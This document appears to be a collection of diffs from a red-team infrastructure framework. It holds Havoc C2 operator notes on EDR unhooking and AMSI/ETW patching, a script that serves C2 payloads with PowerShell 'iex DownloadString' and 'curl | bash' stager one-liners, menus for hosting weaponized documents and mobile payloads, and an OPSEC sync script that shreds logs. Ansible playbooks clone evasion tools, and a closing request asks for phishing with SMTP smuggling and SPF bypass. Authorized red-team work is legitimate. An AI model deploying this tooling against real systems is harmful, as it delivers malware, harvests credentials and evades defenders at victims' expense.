OPERATIONAL SECURITY
------------------
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/Havoc/data/profiles/
TROUBLESHOOTING
--------------
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
@@ -0,0 +1,135 @@
#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
# Use templated variable with fallback - allow override from config
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
+345
View File
@@ -0,0 +1,345 @@
#!/usr/bin/env python3
"""
Payload server infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
def gather_payload_parameters():
"""Collect parameters specific to payload server deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PAYLOAD SERVER SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}===================={COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Payload-specific configuration
print(f"\n{COLORS['BLUE']}Payload Server Configuration{COLORS['RESET']}")
# Domain configuration
domain = input(f"Domain for payload server [required]: ")
if not domain:
print(f"{COLORS['RED']}A domain is required for payload server deployments{COLORS['RESET']}")
return None
config['domain'] = domain
# Subdomain configuration
config['payload_subdomain'] = input("Payload server subdomain [default: cdn]: ") or "cdn"
# Payload types
print(f"\n{COLORS['BLUE']}Payload Types to Host:{COLORS['RESET']}")
config['host_executables'] = confirm_action("Host Windows executables?", default=True)
config['host_scripts'] = confirm_action("Host PowerShell/Python scripts?", default=True)
config['host_documents'] = confirm_action("Host weaponized documents?", default=False)
config['host_mobile'] = confirm_action("Host mobile payloads (APK/IPA)?", default=False)
# Security options
print(f"\n{COLORS['BLUE']}Security Options:{COLORS['RESET']}")
config['enable_basic_auth'] = confirm_action("Enable basic authentication?", default=True)
config['enable_ip_filtering'] = confirm_action("Enable IP filtering?", default=True)
config['enable_user_agent_filtering'] = confirm_action("Enable User-Agent filtering?", default=True)
config['enable_rate_limiting'] = confirm_action("Enable rate limiting?", default=True)
# Payload generation
config['auto_generate_payloads'] = confirm_action("Auto-generate common payloads?", default=False)
# Email for Let's Encrypt
default_email = f"admin@{config['domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for secure access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
return config
def payload_menu():
"""Display the payload server submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PAYLOAD SERVER MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==================={COLORS['RESET']}")
print(f"1) Basic Payload Server {COLORS['GREEN']}*SIMPLE*{COLORS['RESET']} {COLORS['GRAY']}(Quick setup){COLORS['RESET']}")
print(f"2) Multi-Format Payload Server {COLORS['GRAY']}(Supports multiple payload types){COLORS['RESET']}")
print(f"3) Document Payload Server {COLORS['GRAY']}(Specialized for document payloads){COLORS['RESET']}")
print(f"4) Mobile Payload Server {COLORS['GRAY']}(Mobile-focused payloads){COLORS['RESET']}")
print(f"5) Secure Payload Server {COLORS['GRAY']}(Auth + filtering){COLORS['RESET']}")
print(f"6) Payload Server with Redirector {COLORS['GRAY']}(With traffic redirection){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_basic_payload_server()
elif choice == "2":
deploy_multi_format_payload_server()
elif choice == "3":
deploy_document_payload_server()
elif choice == "4":
deploy_mobile_payload_server()
elif choice == "5":
deploy_secure_payload_server()
elif choice == "6":
deploy_payload_server_with_redirector()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_basic_payload_server():
"""Deploy basic payload server"""
config = gather_payload_parameters()
if not config:
return
config['deployment_type'] = 'basic_payload_server'
config['enable_basic_auth'] = False
config['enable_ip_filtering'] = False
config['enable_user_agent_filtering'] = False
print(f"\n{COLORS['GREEN']}Deploying basic payload server...{COLORS['RESET']}")
execute_payload_deployment(config)
def deploy_payload_server_with_redirector():
"""Deploy payload server with redirector"""
config = gather_payload_parameters()
if not config:
return
# Additional redirector configuration
config['redirector_subdomain'] = input("Redirector subdomain [default: dl]: ") or "dl"
config['deployment_type'] = 'payload_server_with_redirector'
config['deploy_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying payload server with redirector...{COLORS['RESET']}")
execute_payload_deployment(config)
def deploy_secure_payload_server():
"""Deploy secure payload server with authentication and filtering"""
config = gather_payload_parameters()
if not config:
return
config['deployment_type'] = 'secure_payload_server'
config['enable_basic_auth'] = True
config['enable_ip_filtering'] = True
config['enable_user_agent_filtering'] = True
config['enable_rate_limiting'] = True
# Additional security configuration
config['auth_username'] = input("Basic auth username [default: admin]: ") or "admin"
config['auth_password'] = input("Basic auth password [default: random]: ") or None
print(f"\n{COLORS['GREEN']}Deploying secure payload server...{COLORS['RESET']}")
execute_payload_deployment(config)
def deploy_mobile_payload_server():
"""Deploy mobile payload server"""
config = gather_payload_parameters()
if not config:
return
config['deployment_type'] = 'mobile_payload_server'
config['host_mobile'] = True
config['host_executables'] = False
config['host_scripts'] = False
config['host_documents'] = False
print(f"\n{COLORS['GREEN']}Deploying mobile payload server...{COLORS['RESET']}")
execute_payload_deployment(config)
def deploy_document_payload_server():
"""Deploy document payload server"""
config = gather_payload_parameters()
if not config:
return
config['deployment_type'] = 'document_payload_server'
config['host_documents'] = True
config['host_executables'] = False
config['host_scripts'] = False
config['host_mobile'] = False
print(f"\n{COLORS['GREEN']}Deploying document payload server...{COLORS['RESET']}")
execute_payload_deployment(config)
def deploy_multi_format_payload_server():
"""Deploy multi-format payload server"""
config = gather_payload_parameters()
if not config:
return
config['deployment_type'] = 'multi_format_payload_server'
config['host_executables'] = True
config['host_scripts'] = True
config['host_documents'] = True
config['host_mobile'] = True
print(f"\n{COLORS['GREEN']}Deploying multi-format payload server...{COLORS['RESET']}")
execute_payload_deployment(config)
def execute_payload_deployment(config):
"""Execute payload server infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting payload server deployment...{COLORS['RESET']}")
# Set up logging
log_file = setup_logging(config['deployment_id'], "payload_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['domain']}")
print(f"Host Executables: {config.get('host_executables', False)}")
print(f"Host Scripts: {config.get('host_scripts', False)}")
print(f"Host Documents: {config.get('host_documents', False)}")
print(f"Host Mobile: {config.get('host_mobile', False)}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with payload server deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Execute the actual deployment
success = execute_ansible_deployment(config)
if success:
print(f"\n{COLORS['GREEN']}Payload server infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}Payload server infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
def execute_ansible_deployment(config):
"""Execute the Ansible deployment based on configuration"""
import subprocess
deployment_type = config.get('deployment_type')
provider = config.get('provider')
print(f"\n{COLORS['BLUE']}Executing {deployment_type} deployment on {provider}...{COLORS['RESET']}")
# Use the payload server playbooks
playbook_map = {
'basic_payload_server': 'payload_server.yml',
'payload_server_with_redirector': 'payload_server.yml',
'secure_payload_server': 'payload_server.yml',
'mobile_payload_server': 'payload_server.yml',
'document_payload_server': 'payload_server.yml',
'multi_format_payload_server': 'payload_server.yml'
}
playbook = playbook_map.get(deployment_type)
if not playbook:
print(f"{COLORS['RED']}Unknown deployment type: {deployment_type}{COLORS['RESET']}")
return False
# Change to the module directory and execute the playbook
module_dir = os.path.dirname(__file__)
playbook_path = os.path.join(module_dir, playbook)
if not os.path.exists(playbook_path):
print(f"{COLORS['YELLOW']}Playbook not found: {playbook_path}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}This would normally execute the {playbook} playbook{COLORS['RESET']}")
return True # Simulate success for now
try:
# Build the ansible-playbook command
cmd = [
'ansible-playbook',
playbook_path,
'-e', f'deployment_id={config["deployment_id"]}',
'-e', f'provider={config["provider"]}',
'-e', f'domain={config["domain"]}',
'-e', f'deployment_type={deployment_type}'
]
# Add payload-specific variables
for key in ['host_executables', 'host_scripts', 'host_documents', 'host_mobile']:
if key in config:
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
# Add security options
for key in ['enable_basic_auth', 'enable_ip_filtering', 'enable_user_agent_filtering', 'enable_rate_limiting']:
if key in config:
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
# Add provider-specific variables
if provider == 'aws':
if config.get('aws_access_key'):
cmd.extend(['-e', f'aws_access_key={config["aws_access_key"]}'])
if config.get('aws_secret_key'):
cmd.extend(['-e', f'aws_secret_key={config["aws_secret_key"]}'])
if config.get('aws_region'):
cmd.extend(['-e', f'aws_region={config["aws_region"]}'])
# Execute the playbook
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
print(f"{COLORS['GREEN']}Ansible playbook executed successfully{COLORS['RESET']}")
return True
else:
print(f"{COLORS['RED']}Ansible playbook failed:{COLORS['RESET']}")
print(result.stderr)
return False
except Exception as e:
print(f"{COLORS['RED']}Error executing playbook: {e}{COLORS['RESET']}")
return False
if __name__ == "__main__":
payload_menu()
@@ -0,0 +1,150 @@
#!/bin/bash
# secure_payload_sync.sh - OPSEC-focused payload distribution
# Configuration
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
REDIRECTOR_IP="{{ redirector_ip }}"
REDIRECTOR_USER="root"
SSH_KEY_PATH="/root/.ssh/id_ed25519"
REMOTE_PAYLOAD_DIR="/var/www/resources"
ENCRYPTED_TRANSFER=true
LOG_FILE="/root/Tools/logs/payload_sync.log"
LOG_RETENTION_DAYS=3
MAX_RANDOM_DELAY=300 # Max random delay in seconds
# Create minimal timestamped log with auto-rotation
log() {
mkdir -p $(dirname $LOG_FILE)
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
}
# Add random delay for OPSEC
sleep_random() {
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
log "Adding random delay of $DELAY seconds"
sleep $DELAY
}
# Generate payload manifest and check for changes
check_for_changes() {
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
log "ERROR: Payload directory not found"
return 1
fi
TMP_DIR=$(mktemp -d)
MANIFEST_FILE="$TMP_DIR/manifest"
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
HASH_FILE="/root/Tools/.payload_hash"
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
log "No payload changes detected"
secure_delete $TMP_DIR
return 1
fi
echo $CURRENT_HASH > $HASH_FILE
return 0
}
# Secure deletion of files/directories
secure_delete() {
if [ -d "$1" ]; then
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
rm -rf "$1" 2>/dev/null
elif [ -f "$1" ]; then
shred -n 3 -z -u "$1" 2>/dev/null
fi
}
# Encrypt archive with random password
encrypt_archive() {
SRC="$1"
DEST="$2"
# Generate random password
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
PASS_FILE=$(mktemp)
echo $PASSWORD > $PASS_FILE
# Encrypt the archive
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
# Store password temporarily for transfer
echo $PASSWORD
# Securely delete password file
secure_delete $PASS_FILE
}
# Main execution
main() {
log "Starting secure payload sync"
# Add randomized timing
sleep_random
# Check for payload changes
check_for_changes || exit 0
# Generate random archive name for OPSEC
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
TEMP_DIR=$(mktemp -d)
# Create payload archive
log "Creating payload archive"
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
# Encrypt archive if enabled
PASSWORD=""
if [ "$ENCRYPTED_TRANSFER" = true ]; then
log "Encrypting payload archive"
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
else
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
fi
# Transfer archive to redirector
log "Transferring payloads to redirector"
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
# Handle remote extraction with decryption if needed
if [ "$ENCRYPTED_TRANSFER" = true ]; then
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
TEMP_DIR=\$(mktemp -d)
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
# Clean up
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
rm -rf \$TEMP_DIR
# Update web server if needed
systemctl reload nginx 2>/dev/null
"
else
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
systemctl reload nginx 2>/dev/null
"
fi
# Execute command on redirector
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
# Clean up local temp files
log "Cleaning up temporary files"
secure_delete $TEMP_DIR
log "Payload sync completed successfully"
}
# Run main function
main
@@ -0,0 +1,24 @@
---
# Payload Redirector Deployment Playbook
- name: Deploy payload redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload redirector based on provider
include_tasks: "../providers/{{ provider | upper }}/redirector.yml"
vars:
redirector_name: "{{ payload_redirector_name }}"
redirector_type: "payload"
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
- name: Configure payload redirector
include_tasks: "tasks/configure_payload_redirector.yml"
when: not skip_configuration | default(false)
+23
View File
@@ -0,0 +1,23 @@
---
# Payload Server Deployment Playbook
- name: Deploy payload server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload server based on provider
include_tasks: "../providers/{{ provider | upper }}/c2.yml"
vars:
c2_name: "{{ payload_server_name }}"
server_type: "payload"
- name: Configure payload server
include_tasks: "tasks/configure_payload_server.yml"
when: not skip_configuration | default(false)
@@ -0,0 +1,89 @@
---
# Configure payload redirector for hosting and delivering payloads
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/payloads
- /var/www/payloads/windows
- /var/www/payloads/linux
- /var/www/payloads/macos
- /var/www/payloads/docs
- name: Configure NGINX for payload delivery
template:
src: "../templates/phishing/nginx-payload-redirector.j2"
dest: /etc/nginx/sites-available/payloads
mode: '0644'
- name: Enable payload site
file:
src: /etc/nginx/sites-available/payloads
dest: /etc/nginx/sites-enabled/payloads
state: link
- name: Create payload sync script
template:
src: "../templates/phishing/sync_payloads.sh.j2"
dest: /root/Tools/sync_payloads.sh
mode: '0700'
- name: Set up payload sync timer
block:
- name: Create systemd service
copy:
content: |
[Unit]
Description=Payload Sync Service
After=network.target
[Service]
Type=oneshot
ExecStart=/root/Tools/sync_payloads.sh
User=root
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/payload-sync.service
- name: Create systemd timer
copy:
content: |
[Unit]
Description=Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=15min
Persistent=true
[Install]
WantedBy=timers.target
dest: /etc/systemd/system/payload-sync.timer
- name: Enable and start timer
systemd:
name: payload-sync.timer
state: started
enabled: yes
daemon_reload: yes
- name: Configure firewall rules
include_tasks: security_hardening.yml
vars:
server_role: "payload_redirector"
@@ -0,0 +1,78 @@
---
# Configure payload server for creating and hosting malicious payloads
- name: Install payload generation tools
apt:
name:
- mingw-w64
- golang
- python3-pip
- upx-ucl
- osslsigncode
- mono-complete
- wine64
- wine32
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
loop:
- /root/Tools/payloads
- /root/Tools/payloads/templates
- /root/Tools/payloads/output
- /root/Tools/payloads/scripts
- name: Install Python payload tools
pip:
name:
- pycryptodome
- pyinstaller
- py2exe
state: present
- name: Clone payload generation tools
git:
repo: "{{ item.repo }}"
dest: "{{ item.dest }}"
loop:
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
- name: Build Go tools
shell: |
cd {{ item }} && go build
args:
creates: "{{ item }}/{{ item | basename }}"
loop:
- /root/Tools/go-donut
- /root/Tools/ScareCrow
- name: Deploy payload generation scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0700'
loop:
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
- name: Create payload hosting service
template:
src: "../templates/phishing/payload-server.service.j2"
dest: /etc/systemd/system/payload-server.service
mode: '0644'
- name: Start payload server
systemd:
name: payload-server
state: started
enabled: yes
daemon_reload: yes
+127
View File
@@ -0,0 +1,127 @@
phishing/
├── deploy_phishing_infrastructure.yml *Created
├── mta_front.yml *Created
├── gophish_server.yml *Created
├── phishing_redirector.yml *Created
├── phishing_webserver.yml *Created
├── payload_redirector.yml
├── payload_server.yml
└── cleanup_phishing.yml
tasks/
├── configure_mta_front.yml *Created
├── configure_gophish_advanced.yml *Created
├── configure_phishing_redirector.yml *Created
├── configure_phishing_webserver.yml
├── configure_payload_redirector.yml
├── configure_payload_server.yml
└── setup_phishing_security.yml *Created
templates/
├── phishing/
│ ├── gophish-advanced-config.j2
│ ├── postfix-mta-front.j2
│ ├── nginx-phishing-redirector.j2
│ ├── nginx-payload-redirector.j2
│ ├── phishing-landing-page.j2
│ ├── email-templates/
│ │ ├── office365_login.j2 *Created
│ │ ├── password_expiry.j2
│ │ ├── security_alert.j2
│ │ └── file_share.j2
│ └── fedramp-compliance.j2
└── phishing_deployment_state.j2
I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like
SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation
This will require more than one server
For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline
The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following:
Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc
For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys
Below are deployment profiles
Profile Name: Full Red Team Infra (All the Things)
Servers:
MTA Front | SMTP relay hides email backend
Gophish Email Server | Phishing campaign controller (hidden)
Phishing Redirector (CDN) | Hides phishing web server behind CDN
Phishing Web Server | Credential capture backend
Payload Redirector (CDN) | Hides malware delivery server behind CDN
Payload Server | Malware hosting backend
C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN
C2 Backend | Command & control server (hidden)
Profile Name: Full Red Team Infra (No CDN Abuse)
Servers:
MTA Front | SMTP relay hides email backend
Gophish Email Server | Phishing campaign controller (hidden)
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
Phishing Web Server | Credential capture backend
Payload Redirector (VPS) | Nginx/socat hides malware delivery server
Payload Server | Malware hosting backend
C2 Redirector (VPS) | Nginx/socat hides C2 backend
C2 Backend | Command & control server (hidden)
Profile Name: Phishing Infra (Credential Harvesting Only)
Servers:
MTA Front (optional) | SMTP relay hides email backend (optional)
Gophish Email Server | Phishing campaign controller
Phishing Redirector (CDN or VPS) | Hides phishing web server
Phishing Web Server | Credential capture backend
Profile Name: Phishing Infra (Credential Harvesting Only, No CDN)
Servers:
MTA Front (optional) | SMTP relay hides email backend (optional)
Gophish Email Server | Phishing campaign controller
